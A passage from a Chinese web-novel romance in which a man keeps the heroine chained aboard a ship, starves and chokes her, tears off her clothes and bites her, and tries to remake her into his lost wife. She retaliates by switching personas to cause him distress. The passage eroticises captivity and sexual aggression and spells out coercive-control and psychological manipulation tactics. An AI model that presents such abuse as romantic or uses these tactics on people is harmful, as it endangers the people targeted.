白楚年拽了一下锁链,她踉跄了几步,被逼着扑进他怀里。 脖颈传来的痛意,疼得她闷哼了一声。 “嗯....” 轻微、破碎、沙哑、带着一丝隐忍。 直接给白楚年听爽了。 他轻轻抬起她的下巴,唇瓣贴着她的耳廓,幽幽道: “小骗子,你要是还不乖呢,我就把你吊起来。” 男人披着长发,俊美苍白的脸透着病容,微勾的狐狸眼似笑非笑,妖冶似鬼。 菘蓝被迫抬起头,下颌和脖颈紧紧绷着,她的抹胸有点撑不住了,一点点往下掉。 露出一抹柔软的白。 她有些狼狈地伸手捂住胸口,紧紧按住滑落的小衣。 男人的呼吸乱了。 片刻后,他将一条绿色的裙子丢在菘蓝身边: “换上它,穿好之后,来浴室找我。” 裙子是那种很有质感的绿。 缎面露背,正面光泽,反面哑光,明明暗暗,像沉醉在春风里的绿荫。 这条裙子,她在港城的时候穿过。 她没想到,居然还保留到了现在。 白楚年出了船舱,站在甲板上透气。 他脑海中却回想着她下滑的小衣,装哭卖乖的小脸,叛逆倔强的眼神,忍痛咬破的唇...... 她跟婉婉太不一样了。 婉婉是水,她是藏在水中砂石下的玻璃碎片。 锋利,危险,一点也不温柔。 “哥哥,嫂嫂呢?你不是说找到嫂嫂了吗?你为什么不让她跟我玩。” 豆豆抱着小恐龙,扯了扯白楚年的衣角,他撅着小嘴,一脸的不高兴。 白楚年笑了笑,伸手摸了摸豆豆的小脑袋: “豆豆乖,你嫂嫂现在还没回来,但是很快,她就会回来了。” 他要把水里的那块玻璃碎片,打磨成光滑温润的水纹石。 ** 浴室水雾蒸腾,白楚年坐在沐浴的桶里,黑色的长发微微垂着,露出刀削斧劈般劲瘦的腰身。 明明是个病秧子,肌肉一点也不少。 一层薄薄的肌肉覆在肩膀、手臂、股二头肌、腰腹处,线形流畅好看。 穿好裙子走进浴室的菘蓝垂着眸子,她对白楚年的身体没半点兴趣。 她早就看腻了。 在港城的时候,白楚年装瘫子,她每天要帮他擦身子,按摩身体,尽职尽责地演绎一个温柔贤惠的妻子。 看着一袭绿裙的菘蓝走了进来,白楚年心头狠狠颤了颤。 她雪一样的肌肤被绿裙子衬托得更白了,像皑皑白雪下的草芽。 娇弱,却饱含生命力。 男人眼前一阵恍惚。 是她,他的婉婉回来了。 朦胧水汽中,白楚年指了指搭在木桶旁的毛巾,示意菘蓝干活。 菘蓝:“.........” 她有点想骂人。 以前她伺候他,是看在委托金的份上,现在连工资都没有,拿她当免费劳动力啊! “这里,搓搓,前面后面都要。” 男人指了指自己的胸腹。 他白玉一样的身子,被温热的水汽熏得微微泛红。 好看是好看,就是越看越气人。 菘蓝下了死手,按住洗澡巾,像刮鱼鳞一样使劲刷,男人的背被生生刷出了一大片血瘀。 搓个背像刮痧一样。 白楚年疼得微微皱眉,他一把捉住那只作乱的小手,然后用力一扯,把菘蓝扯进了水里。 铁链碰到木桶,在水下发出一连串的闷响。 溅起的水花打湿了她半张脸,睫毛扑簌簌地往下落着水珠。 她跪坐在他的腿上,两人的姿势极其暧昧。 她的裙子好像入水即化,她能隔着薄薄的缎料感受到男人紧绷的肌肉。 “你刚刚搓的力度不对,跟以前不一样,重来。” 白楚年惩罚一样拽了下铁链,勒得菘蓝手腕生疼。 她气得咬紧了后槽牙。 妈的,死狐狸,别让她找到机会! 她放轻了力度,白楚年舒服地阖着眼,美玉一样的脸隐在水雾中,美得像一幅画。 搓完背,男人又让她按摩。 她但凡力道重一点,穴位偏一点,都得再按一遍。 她甚至连手指抬起的高度,面部的神情,嘴角扬起的弧度,都有要求和标准。 稍微错一点,她就要被惩罚。 一通磋磨下来,她的手腕和脚腕全被铁链勒破了皮,往外渗着血丝,轻轻一碰就疼。 好不容易忙活完,白楚年又拉着铁链把她拽进了卧室。 他侧躺在床榻上,单手支着脑袋,长长的黑发垂到地毯上。 “唱歌,哄我睡觉,唱你自己编的那首.....” 他说的是那首摇篮曲,以前她唱来哄豆豆睡觉的。 铁链又响了一下。 “唱。” 破了皮的手腕又被扯出几道印痕,菘蓝微微皱了皱眉。 好汉不吃眼前亏,唱个歌而已。 “月儿明,风儿静,树叶儿遮窗棂,蛐蛐叫,风铃笑…...” “不对。” 白楚年皱眉,拽了一下铁链。 菘蓝被拽得身体前倾,差点摔倒:“哪里不对?” 白楚年:“不知道,反正就是跟以前唱的不一样,没那个感觉。” 菘蓝气得咬了咬牙。 以前是正常上班,现在是被迫加班,怎么可能一样。 她的处境和心情都差远了好吗! 看到菘蓝眼底一闪而过的愤怒,白楚年幽幽叹了口气。 他伸出手,指尖穿过她的发缝,轻轻摩挲着她的头顶,他像在测量她头颅的大小,考虑着该装进哪个人头瓶。 让人不寒而栗 。 他神情恍惚,语气低缓: “你这样不行,你这样不像她,她不会用这种眼神看着我,婉婉的目光是很温柔的......” 听着男人恍惚痴迷的语气,菘蓝心头一紧。 她明白了。 他让她穿绿裙子,给他擦身子,按摩,唱催眠曲,标准化她的言行举止,动作神态,让她模仿她以前的样子。 就是想把她变回李婉。 他就像在捏泥人,一点点把她捏成他想要的形状,捏成他记忆中的那个人。 第七十六章 他要把她变成李婉 如果不出她所料,白楚年会变本加厉地对待她。 他会一直囚禁她,欺辱她,虐待她。 他会强迫她穿绿色的裙子,但凡她想穿别的,可能都会被扒光衣服,吊在房梁上。 他会强迫她保持温柔恬静的笑容,但凡皱一下眉,可能都要关禁闭。 他会强迫她吃婉婉喜欢的东西,但凡她拒绝,可能都会饿肚子。 人是可以被驯化的,虐待会产生忠诚。 当她被虐到绝望的时候,他再给予她一点温柔,并告诉她,只要她听话、乖顺、温柔,就能好好的。 然后惩罚和奖赏交替循环,让她产生依赖,让她上瘾,让她再也离不开他。 等到了那个时候。 她现在的人格会被真正抹杀,她会变成她以前扮演的那个,温柔体贴贤良淑德的李婉。 呵呵...... 这一套啊,她小时候就见识过了。 菘蓝紧紧攥着手心,漆黑的眸中有火在燃烧,且欲燃越烈。 这死狐狸,是真的变态! “你在想什么?” 白楚年伸手掰过菘蓝的小脸,逼迫她看着他的眼睛。 他很不喜欢她走神的样子。 他总觉得她在谋划着什么,一点也不乖。 她应该像婉婉那样,只会用深情的眼光看着她,满心满眼满脑子都是他。 男人带有侵略和攻击性的眼神让菘蓝很不爽。 她唇角弯弯,笑得直白坦率:“我在想你啊。” 想着怎么收拾你! 白楚年狭长的眸子微微上挑,绷直的嘴角隐隐透露着不悦,他拧了拧眉道: “婉婉从来不会这样说话。” 她当然知道李婉不会这样说话。 李婉是她演绎出来的人格,她对她了如指掌。 他想她变成李婉,用李婉的性格、神态、表情、语言习惯跟他相处。 她才不呢,她就是要气他,要狠狠气他。 她以后还要唤醒“李婉”,让他深深沉迷,然后再突然转换人格,狠狠给他一刀。 让他知道他的婉婉根本就没有存在过,只不过是她呼之即来挥之即去的幻影。 她会给他希望,再让他绝望。 他对她残忍,她会加倍奉还。 想玩弄她的人,终究会被她玩弄! “你,是故意这样说话的?” 白楚年垂着头,眼睛眨也不眨地盯着菘蓝,双眸泛着凛冽的寒光。 他最讨厌别人跟他对着干。 菘蓝歪着头,长长的发丝从耳侧滑落,她没有回答,唇角勾起一个极淡极淡的弧度。 挑衅意味十足。 她像一个叛逆的孩子,故意挑衅家长的权威。 白楚年眼底掠过一抹怒意: “你今晚不许吃饭,明天也不许吃,后天也不许吃。” 猫咪不乖,要好好惩罚。 ** 她被关进了黑漆漆的房间。 房间空荡荡的,什么都没有。 为了防止她逃走,窗户直接封死。 她蜷缩在角落里,背靠着墙壁,将长发拢至身前,用来抵御窗户缝隙里透来的冷风。 黑暗像四堵冰冷的墙,从前后左右包抄过来,将她困在中间。 令人害怕、恐惧、窒息。 其实她今天一天都没吃饭,早就饿得前胸贴后背。 她窝在角落里,静静地忍受着饥饿,听自己的肚子发出咕噜咕噜的响声。 两三天不吃饭,对她来说其实也不算什么。 她啊,小时候被关起来,经常饿个十天半个月....... 白楚年是想熬鹰,可惜她不是鹰,她是一棵草。 一颗在石缝中也能向下扎根的野草。 最后不是他熬倒她,而是她逼疯他。 菘蓝闭上眼睛,轻轻感受着海水撞击船舱的声音。 她很少坐船,但她挺喜欢坐船的感觉。 摇摇晃晃的,像小婴儿的摇篮。 大海是一位母亲,轻轻晃着摇篮,她睡在船里,成了海的宝宝。 宝宝...... 好像还没有人叫过她宝宝。 诶? 好像有。 只不过那人是叫他蓝儿老婆宝宝。 她的脑海里闪过一张脸。 剑眉星目瑞凤眼,高鼻薄唇建模脸。 他那双眼睛,有时候笑起来冷飕飕的,有时候笑起来贱兮兮的,有时候笑起来含情脉脉的。 菘蓝猛地摇了摇头。 不对不对,她怎么会突然想起沈错那个狗男人。 那个花心渣男,看狗都深情,对谁都说爱。 沈错平时看着对她挺好,可要是知道她骗了他,估计会比白楚年还要狠毒地报复她。 那种笑眯眯的家伙,发起疯来,砍人最狠了。 她双手抱着头,狠狠摇了摇,想把脑子里的沈错摇出去。 可是不知道怎么回事,那人总跑到她脑子里找画面。 很是欠揍。 为了强迫自己转移注意力,她啃起了指甲。 她以前心烦的时候最喜欢啃指甲了,十个指头挨个咬秃,咬完她就不烦了。 可惜后来要伪装成名门淑女,她就再也不能啃指甲了。 隔壁房间里。 白楚年看着监控录像,眼睛眨也不眨地盯着缩在角落里的女孩。 他想,她现在一定很饿,都饿到嗦手指了。 明天早上就放她出来吃东西。 如果她还故意跟他作对,故意气他,那就继续饿。 饿到她乖乖听话,愿意成为他的婉婉为止。 他有的是时间跟她耗。 就在这时。 一个保镖从甲板上跑了下来,他一路跑到白楚年的房间,压低了声音道: “少爷,沈家的人要过来。” 白楚年关上屏幕,语气有些不耐烦:“别让他们过来。” 保镖紧张地咽了咽口水: “可是,来的人是沈少爷,我们不敢拦。” 菘蓝坠海后,海安航运的人像下饺子一样跳进海里搜救,但整整搜救了一夜,连个人影都没看到。 整整一夜,三千名海员展开地毯式搜索,甚至连潜艇都用上了,还是一无所获。 沈错得知消息后,连夜往回赶,他自己带了一队人在海上搜寻。 快艇破开波浪,像利箭一样在海面上飞速疾行。 李顺抓着船沿,后仰着身子,安慰沈错道: “少爷,你别太担心了,现在没有少夫人的消息,是好消息。 说明人可能还活着,可能是被附近的渔民或者路过的船只救走了。” 沈错站在船头,绷着一张脸,他盯着前方的游轮,问道: “那晚,白家的船也在那片海域?” 第七十七章 他恨透了她 门开了,漆黑的房间洒进一片光。 蜷缩在角落里的菘蓝动了动,脚腕上的铁链叮当作响。 光线略微有些刺眼,她不适地眯了眯眸子,侧脸看向门口的男人。 男人披着狐裘站着,长发垂在耳侧,精致的轮廓被光影分成两半,一半是病态的白,一半是阴蛰的灰。 他走向菘蓝,目光在她长长的黑发上停留了片刻,转而道: “小骗子,你那便宜老公来了。” 沈错来了? 菘蓝呼吸漏了一拍,手心下意识缩紧。 男人抚摸着她柔顺的长发,在她耳畔吐息道: “你猜猜,他是来找你算账的,还是来找你的?猜对有奖哦。” 她抿了抿唇,沉吟了片刻:“他应该是来找我的。” 白楚年不想杀她,只是想把她调教成李婉,那么肯定是想秘密把她带回港城。 如果他向外界揭穿了她,沈家知道被骗,肯定要找她算账。 这样一来,事情就麻烦了,牵扯太多的话,白楚年也不一定能顺利带走她。 所以,白楚年也不可能揭露她。 “婉婉,你真聪明,奖励你一间卧室。” 男人微凉的指尖轻轻划过她的侧脸,然后突然拽住锁链,将她整个人从地上拉了起来。 镣铐在破了皮的血肉上来回摩擦,勒出一道道触目惊心的血痕。 “痛吗?” 白楚年看着她手腕上的伤,嘴角扯出一抹漫不经心的笑。 她没有说话,紧抿着唇,额头起了一层细细密密的汗。 是痛的。 “痛就对了,你知道你假死逃跑后,我每一天日子是怎么过的吗? 你的痛,不及我心痛的万分之一!” 男人神色悲凉地站着,他的眼里只有恨意。 他恨透了她。 他恨她以前的温柔,恨她假装的深情,恨她每日悉心的照顾,恨她骗他是被温柔爱着的。 她从人山人海中来,只为给他一场空欢喜。 菘蓝垂着眼,默不作声。 她也没什么好说的。 她被带进了一间卧室,卧室的外面是书房,中间隔了一道巨大的玻璃墙。 玻璃墙是单向玻璃,卧室里的人能看到书房的场景,但书房里的人看不到卧室的景象。 “你那便宜老公会来,你就在里面看着,不要发出声音哦。 不过.......我想你也不会发出任何声音的。 你肯定也不愿意又多一个仇家吧。 你要么乖乖跟我回港城,要么成为白沈两家讨伐的对象,你应该知道怎么选的吧。” 男人阴冷低沉的声线像淬了冰,透着彻骨的寒。 菘蓝低着头,盯着脚下亮得能照出人影的地板。 她两个都不选。 她为什么要走别人给她选择的路呢。 她啊,只会按照自己的剧本,唱完人生这场戏。 “噔噔噔.....” 走廊响起一阵急促的脚步声,皮靴踩在木质地板上,咯吱咯吱地响。 白楚年把菘蓝留在卧室里,转身走到书房的轮椅上坐着。 门开了,灌进一股冷风。 沈错穿着黑色毛呢大衣,漂亮的瑞凤眼敛着寒光,他衣摆带风,神色匆匆。 因为一整天都在奔波,他的头发微微有些凌乱,下巴上的青色胡茬都长出来了。 他一进门就道: “白楚年,我夫人坠海的时候,你的船只也在那片海域,你们的人有没有发现什么?” 白楚年坐在轮椅上,膝头搁置了一本书。 他抬眸看了眼神色焦急的沈错,缓声道: “很遗憾,我这边也没有任何发现,听说沈少夫人出事,我也命人找寻了一夜。 你别担心,如果我们这边发现了什么,一定会第一时间告诉你。” 他神色坦荡,言词恳切,好像真的很关心这件事一样。 沈错看了他一眼,感激道:“多谢!” 他们两人从小就在一起玩,虽然有些时候不对付,但始终有些情谊在的。 “哟,想听你一声谢谢可不容易。” 白楚年笑了两声,嘴角微微勾着,眸底掠过一丝莫名的情绪。 认识沈错这么多年了,还是第一次听到他说谢谢。 他那么在意那个小骗子吗? 看来那个小骗子也把他骗的不轻。 白楚年心头突然涌起一阵妒意和怒火。 一想到那小骗子也在沈错面前装乖装深情,博取他的疼宠和怜爱,他就忍不住恼火。 “那我先走了,我还要出去找。” 沈错不想浪费时间,抬腿就往外走。 白楚年:“等等。” 沈错脚步顿住,侧眸看着他:“怎么?” 白楚年眼眸微眯,沉吟了片刻问道:“你,很爱你夫人?” 沈错语气笃定:“当然。” 白楚年笑了笑: “我也很爱我夫人,很爱很爱,结果后来我发现,她是个装深情的骗子。 她满口谎言,她根本不爱我,她对我的好,都是伪装的。” 沈错蹙了蹙眉:“那你有点惨。” “呵呵......” 白楚年讥笑了两声,别有深意道: “我没别的意思,我只是在提醒你,可能你爱的那个人,也根本不爱你。 她或许根本不值得你这么担心,不值得你这么在意。” 听到这话,沈错有些不悦,回怼道: “你是你,我是我,我们爱的人不一样,结局肯定也不一样。 你老婆死遁跑了,多想想自己的原因,别在这挑拨别人夫妻关系。” 沈错觉得白楚年脑子有毛病。 他被他老婆骗了,是他自己没本事,干嘛含沙射影他的蓝儿。 神经病! “呵......” 白楚年漫不经心地瞟了一眼玻璃门,看向沈错道: “你先别急,我只是假设,假如她骗了你呢?” 沈错听得有些不耐烦,扯了扯唇,“我不想跟你扯这些,我要走了。” 白楚年像是想要求证什么一样,冲着沈错的背影道: “你是被我说中了吧,看来你们夫妻之间也不是毫无保留,也不是那么亲密。” 刚要开门的沈错按着门框,手背青筋凸起。 他想起了前不久调查到的资料。 徐幼蓝在国外的生活经历特别好调查,资料特别细致,细致到没有一丝纰漏,像是被人精心编排过一样。 第七十八章 能原谅女人谎言的才算男人 他还想起了那条匿名短信,想起了周正安,想起了他们之间不清不楚的眼神。 要说欺骗..... 他的蓝儿确实隐瞒了他什么...... 看到沈错目光松动,白楚年眼底掠过一抹得逞的笑意。 他突然有点期待,期待沈错知道自己被骗后的表情。 那一定会很精彩。 “你别多想,我真没别的意思,只是我被骗了,所以再也不相信任何女人,也不相信所谓的爱情了。” 白楚年敛着眸子,语气假惺惺。 听出某人有点阴阳怪气,沈错回头扫了他一眼: “嗯,你智商这么低,被骗也正常,不管怎么说,你老婆跑了,我还是很同情你的。” 白楚年摇了摇头:“恋爱中的男人智商为负数,你再聪明,也会被骗。” 沈错摆出一副无所谓的神情: “哦,骗了就骗了呗,最起码她骗我的时候,说过爱我。” 白楚年沉默了一下,然后骂了一句: “死恋爱脑,你没救了。” 沈错勾了勾唇,回击道:“那也比你没人要好。” 白楚年目光闪了闪,他看着卧室的玻璃墙,追问道: “假如你遇到我这样的事情,被人如此欺骗,会如何?” 玻璃墙后。 菘蓝跪坐在地毯上,听到这话,她的心瞬间揪起。 她透过单向玻璃,忐忑地观察沈错的脸色,脑海中猜测他接下来会说的话。 沈错这种笑里藏刀的人,其实最傲了。 他要是知道自己被耍了,估计会直接把她的脑袋拧下来当球踢。 就在她胡思乱想的时候,沈错开口了。 他一手撑在门边,一边回头,用一种理所当然的口吻道: “能原谅女人谎言的才算男人。” 说完,他又补充了一句: “哦对了,在我眼里,全世界只有我老婆一个女人。” 玻璃墙后的菘蓝,瞳孔狠狠一颤。 心脏似有电流掠过,瞬间蔓延至身体各处。 她咬着唇,一时间心乱如麻。 片刻,她又狠狠摇了摇头。 她不明白。 他不是有心上人吗,他娶她不是用来堵沈家长辈的嘴的吗? 他这么对她上心干什么。 她想不明白,耳朵嗡嗡的,脑袋隐隐作痛。 书房里,白楚年听到沈错的回答,很诧异,也很愤怒。 他看出来了,沈错对那个小骗子是真心的。 正是如此,他才愈发愤怒。 “不跟你废话了,走了。” 沈错砰得一声关上门,头也不回地走了。 书房里瞬间安静了。 白楚年缓缓站起身,脸色阴沉至极。 他推开玻璃门,俯身看向地毯上的松蓝,整个人像是从地狱里爬上来的魔鬼,周身散发着森冷寒意。 他红着眼睛,一把将菘蓝拉进怀里,死死扣着她的下巴,问道: “你,在沈家,到底是怎么把他迷成这个样子的?” 他要疯了。 他无法想象,她是如何使用各种手段让沈错迷恋上她的。 她会给他做爱心早餐吗,会为他精心挑选衣服吗,会亲手为他缝制护膝吗? 还是说...... 她会搂着他的脖子撒娇?会抱着他的腰说情话?会坐在他的大腿上索吻?会在床榻上跟他抵死缠绵? 满腔的妒意和怒火几乎要溢出来。 他的心情像是被醋泡出来的青柠檬,又酸又涩又苦。 咬一口,骨头都酸成碎渣了。 菘蓝被迫昂着头,脖子都僵了,她下意识推了推白楚年,却发现男人像铁块一样沉重,根本推不动。 要命,这事也不能怪她啊。 她好像什么也没做啊。 她可没有处心积虑地勾引他。 她的反抗和挣扎,更引起了白楚年的不满。 他狠狠掐着她的腰,像狗一样咬住她的锁骨,开始舔舐、撕扯、啃咬。 “嗯.....” 她忍不住闷哼了一声。 微微带着一丝哭腔和颤音,诱人犯罪。 让人忍不住想继续欺负她,把她弄哭。 他一想到她跟沈错可能发生过的亲密场面,他就气到发疯,就恨不得马上追出去,一刀杀了沈错。 他看着她肩头密密麻麻的咬痕和紫色淤血,喉结轻轻滚动了两下。 “你真的让我很生气。” 他要好好罚她,让她的身体记住他。 他已经不满足在她的肩头和锁骨留下印记。 他要在她的身体各处,种下他的惩罚。 他把她压在身下,伸手扯掉她的肩带,拽着裙子狠狠往下一拉。 嗤啦一声,缎裙裂开。 露出一副姣美白皙的躯体,她身上只剩下轻薄的抹胸和白色小裤。 男人掐着她的脖子,像疯了一样,粗暴地在她身上各处撕咬。 “楚年......不要......” 身下,传来一声轻微的啜泣。 白楚年身子一僵,因为暴怒失神的眸子瞬间闪过一丝清明。 菘蓝双臂挡在身前,水润的眸子颤动着,她红着眼睛,像一只被欺负的小兽。 她娇娇软软地唤着:“楚年.....对不起......” 白楚年怔住了。 是他的婉婉在喊他。 他低头看向菘蓝,发现她眉眼婉约,神情娇怯柔软,跟他记忆中的婉婉一模一样。 一样的娇弱,一样的顺从,一样的温柔小意。 “婉婉......” 他神色恍惚地抚摸着菘蓝的小脸,满眼欣喜。 他的婉婉回来了,会像以前那样柔柔地唤着他楚年。 “楚年,我的头发长了,我还想剪公主切,你可以像上次那样,帮我剪吗?” 白楚年像沉醉在梦里一样,轻轻点了点头:“可以。” 这是他梦到很多次的场景,但是他知道自己不是在做梦。 他也知道眼前的人是个小骗子,温柔小意的婉婉,可能又是她装出骗人的。 可是,如果她愿意装,那么他的愿望也就快达成了。 装着装着,她就是了。 不管她心里有几分真假,但是她愿意装婉婉,就说明她屈服了。 她在迎合他。 想到这里,白楚年心情好了起来,他解下身上的狐裘,盖在她的身上,紧紧裹住。 他伸出手,轻柔地摸了摸她的脑袋: “婉婉,乖,坐好,我给你剪头发。” 在他转身去拿剪刀的瞬间,菘蓝眼底飞快掠过一抹冷意。 谁屈服谁,还不一定呢。 第七十九章 戒断反应 他要给她剪头发。 剪她以前在白家的发型,黑长直的公主切。 她以前剪这种发型一是为了遮脸,二是为了掩盖假伤疤。 公主切发型很显脸小,会衬得人特别温柔可爱。 但这种发型非常挑五官,五官如果不够精致好看,就无法发挥出那种独特的美。 她乖巧地坐着,绸缎一样的长发柔顺地披在脑后。 白楚年拿着剪刀,神情专注,薄薄的唇抿成了一条直线。 他的指尖轻柔地掠过她的后颈,然后挑起一缕发丝。 咔嚓咔嚓,发丝纷纷扬扬地飘到了地上。 他用手掌温柔地固定住菘蓝的脑袋,一点点修剪鬓边的碎发。 他像在精心修剪玫瑰的枝杈,等修剪好之后,就可以插进花瓶里,独自欣赏。 齐刘海和垂至下颌的鬓发,遮住了菘蓝的额头和两侧的脸颊,更突出了她的眼睛、鼻子和嘴巴。 她抬眸时,睫毛轻扫,美目流盼,瞳孔中仿佛闪烁着漫天星河。 她的鼻梁精致挺拔,唇瓣上薄下厚,抿着的时候像一片花瓣。 “婉婉,你好美啊......” 白楚年轻轻抚摸着她的脸颊,神情痴迷沉醉。 他曾无数次幻想过,他的婉婉除掉疤痕后会长什么模样。 今天,他终于看到了。 他的婉婉,不管脸上有没有疤痕,都是那么美。 他痴迷地看着她,像喝醉了酒一样,冷白色的肌肤泛着红晕。 他亲吻着她的发丝,流向她的目光是深入骨髓的温柔。 “好看吗? “白、楚、年。” 菘蓝一字一顿的声音在房间里响起。 她每说一个字,都要狠狠戳一下男人的胸膛,仿佛是要戳醒他。 她抱着膝盖,长长的发丝垂到地上,笑得一脸狡黠。 白楚年看着菘蓝,脸瞬间冷了下去。 眼前的人,神态和语气以及动作都发生了变化。 原本的人婉约乖巧,目光温柔似水。 现在的人狡黠诡诈,目光中带着叛逆和得意。 前后的气场完全不相同,根本就是两个人。 他背着手,冷眼看着菘蓝道: “李家给我看过你的资料,你精通仿妆,仿谁像谁,而且你十分擅长心理侧写,能把自己代入任何角色。 你不是在扮演角色,而是把自己分裂成另一个人格,让自己成为那个角色。” 菘蓝愣了一下。 李家连这个都告诉白楚年了? 合着雇主把她卖了个精光啊。 “我不喜欢你这个样子,我要你变回婉婉!” 白楚年突然变得狂躁起来,他红着眼睛掐着菘蓝的脖子,像头发怒的狮子。 不知道为什么,他心头涌起一阵巨大的落差感。 烦躁、恼怒、焦急像野草一样在他空荡荡的胸膛疯长。 他感觉十分不舒服,就好像做了一场盛大的梦,结果梦醒了,只剩下了失落。 看着男人焦躁的模样,菘蓝嘴角勾起一个极浅极浅的弧度。 是戒断反应。 当人通过某种途径获得强烈的幸福感后,突然停止接触,就会产生前所未有的失落感。 那种失落感会让人感到窒息,会让人变得狂躁不安。 李婉的出现给白楚年带来了精神上的欢愉。 她一旦切换人格,让李婉消失,白楚年的情绪就会瞬间跌入谷底。 强烈的戒断反应会让他变得脆弱焦躁,患得患失,心力交瘁,甚至情绪崩溃。 额头的刘海轻轻晃动,菘蓝抬起眸子,笑吟吟地看着白楚年。 她指尖绕着发丝,笑得温温柔柔,像一朵不胜娇羞的莲花。 她看着他,轻轻唤了一声:“楚年......” 她轻轻拍了拍白楚年的手背,示意他放下钳着自己脖子的手。 “楚年,感受到你很难过,我出来见你了。” “婉婉.....” 男人立即缩回手,怜惜地看着她道:“对不起婉婉,我弄疼你了吗?” 菘蓝轻轻摇了摇头:“没有。” 但是她却不适地抵了抵咽喉。 婉婉很痛的,但是婉婉不会说,也不会埋怨和指责谁。 白楚年注意到她的动作,愧疚地垂着眸子,“抱歉,婉婉,我.....我去给你拿药膏。” 药膏涂抹在咽喉处,冰冰凉凉的,有种青草的芳香。 她柔顺地窝在白楚年怀里,亲昵地抱着他的腰。 两人近得能听到彼此的心跳。 一个人心跳得很快,一个人心跳得很平淡。 “楚年,你饿了?我去给你做你最喜欢的瑶柱淮山粥。” 她睫毛轻扫,抬眼看向他的目光,亮如繁星。 白楚年心头微微一颤,他很久没喝到婉婉做的瑶柱淮山粥了。 他身子虚弱,常年需要食补。 婉婉为了他,请教港城无数名厨,煲得一手好粥。 他喉咙动了动,眼底露出一抹渴望: “好......” 她换了身衣服,穿上蓝色围裙,把长长的发丝用一根红绳绑在脑后。 两边垂至下颌的发丝,用小夹子夹住固定。 一切的一切,都跟当初一模一样。 她挽起袖子,将米洗净,然后用油盐腌制。 接着,她把两根山药和一把刮刀递给白楚年,像以前一样软糯糯道: “你来削嘛,我对山药过敏的。” 白楚年凝望了她几秒,然后点了点头:“好。” 她贴心地给白楚年戴好手套,然后开始洗瑶柱,洗青菜。 叮叮当当,厨房响起一阵切菜声,案板和刀发出沉闷的响声,交织出温馨的旋律。 一切仿佛回到了两年前。 他疲惫地从帮会回到家中,看到他的妻子在为他洗手做羹汤。 粥煲好了。 热气腾腾的。 白色的瑶柱在米汤中翻滚出鲜味,炖烂的山药散发出丝丝甜香。 他已经很久没有吃到记忆中的粥了。 闻起来依旧是原来的味道。 他盯着蒸腾着热气的粥,突然食欲大开。 “你别动,我给你盛。” 一碗瑶柱淮山粥放在了白楚年的面前,她还是像以前一样,给他配了几碟小菜。 “楚年,我喂你喝吧。” 她垂着眸子,舀了一勺粥,细细吹了几下,缓缓喂到他嘴边。 他习惯性张口,正想喝下去,结果菘蓝却拐了个弯,连勺子带碗一下子摔到了地上。 “你喝什么喝?你配吗?” 第八十章 跪下 她像突然变了一个人。 眼神嘲弄,满脸鄙夷,用看垃圾一样的目光看着白楚年。 前一秒,她还温柔似水,后一秒,她变得傲慢无礼。 粥洒了一地,碗轱辘轱辘地滚到了白楚年的脚边。 他愣了愣,静默了几秒。 他在努力消化前后巨大的反差。 刚刚,他的婉婉还在为他做饭,幸福仿佛像那碗粥一样唾手可得。 结果,变化就在瞬间。 桌子被掀飞,碗摔到地上,粥全洒了。 他的婉婉也不见了。 刚才的一切,仿佛根本不存在。 他的幸福好像一个色彩斑斓的泡泡,一戳就破了,成了一捧冰冰凉凉的水雾。 他看着地上冷掉的粥,心头隐隐作痛。 他还沉浸在幸福的余温里。 巨大的失落感让他几乎喘不过气。 他感觉他灵魂的一部分滞留在了刚才的场景中,无法抽离出来了。 这总感觉太难受了。 白楚年看向菘蓝,一个箭步冲过去,死死扼住她的脖子: “你,想,死,吗?” 他一个字一个字地往外蹦,满眼都是恨意。 菘蓝仰着脖子,勾唇浅浅一笑。 他粗鲁的动作,让她更加开心了。 他越愤怒,就说明他陷得越深,戒断反应就会越来越重。 他想通过折磨她,通过打一巴掌给个甜枣麻痹她,磨平她的脾气和性格,抹杀她的人格,让她变成李婉。 可是他不知道,她的也能利用这一点,反向精神操控。 她能反复唤醒李婉,让他沉醉在温柔乡里,等他获得强烈的幸福感之后,她再让李婉消失,利用戒断反应狠狠捅他一刀。 她才是这具身体的主人。 她能给予他最深的幸福,也能赐予他最深的绝望。 她其实也是个眦睚必报的人。 他折磨她,想磨平她的棱角,压抑她的人格,让她成为李婉。 那么,她就要逼疯他,让他反反复复经历失落和痛苦。 不就是相互伤害吗,谁怕谁啊。 掐在脖颈上的手寸寸缩紧,菘蓝被掐得有些喘不过气。 她眼角无意识流下生理性的泪水,莹润的眸子雾蒙蒙的。 她哑着嗓子,一边流泪一边笑: “如果杀了我,你的婉婉就真的不存在了哦。” 她笑得狠毒又嚣张,像个反派。 白楚年手背青筋暴起,指腹深深陷入她的脖颈,他红着眼睛道: “你让她出来,不然我把你关起来,让你跟蟑螂抢饭吃。” 她瞳孔颤了颤,像是受到了什么惊吓一样,娇声娇气道: “啊?那好可怕哦,楚年哥哥,你可以不要这样对我吗?” 她对他撒娇,像个小女孩一样。 “你知道的,我最怕蟑螂了。” 白楚年的心猛地一缩。 他极少听到婉婉喊他楚年哥哥,但是她每一次这样喊他,他都有求必应。 恍惚中,他感觉脑子里起了一层薄雾,无法集中注意力,头昏昏沉沉的。 他看着对着他哭泣的女孩,愣神了很久。 他有些分不清了。 他收回了手,发现自己的手臂一直在抖,他像得了帕金森的老人,一直抖一直抖。 他的身体在不受控制地抖动。 异常的身体反应让白楚年有些莫名其妙,他诧异地看着自己的手,目光迟钝。 菘蓝眼底掠过一道寒芒。 他的应激系统失调了,已经距离情绪崩溃不远了。 他生理虐待她,那她就精神虐待他。 以牙还牙,以眼还眼。 “楚年,我这里好痛......” 她疼得皱眉,用手抵住喉咙,一副十分痛苦的样子。 看着她的样子,白楚年愧疚地垂着手,情绪十分复杂。 他又一次伤害了她。 他刚刚太生气了,没控制住自己。 婉婉脾气太好了,被他伤了这么多次,从来不指责他,埋怨他。 “她会生气的哦,她只是藏在心里不说,你每次这样,她都悄悄掉眼泪呢。 只要是人就有喜怒而乐,她只是不想在你面前表露出来。 你知道吗?人心里的失望攒多了,总有一天会离开让自己痛苦的人。 她一旦选择逃避,就会真正消失。” 菘蓝双手背在身后,莹润的眼睛眨啊眨,像个天真无邪的小女孩。 她歪着脑袋看着白楚年,像在复述别人的故事。 “你说什么?她会消失?” 听到这句话,白楚年猛然惊醒,他情绪激动地摇晃着菘蓝的肩膀,满脸的不可置信。 “是的哦,你没有发现吗?婉婉姐姐每次出现的时间越来越短了。” 她歪着头,咬了咬指甲。 白楚年想了想,发觉好像是这样的。 婉婉出现的时间确实越来越少了。 他蹙着眉看向菘蓝,这才发现她的神情不对劲。 她的眼睛黑白分明,表情有点呆呆的。 像个......像个不谙世事的小女孩。 白楚年皱了皱眉:“你是谁?” 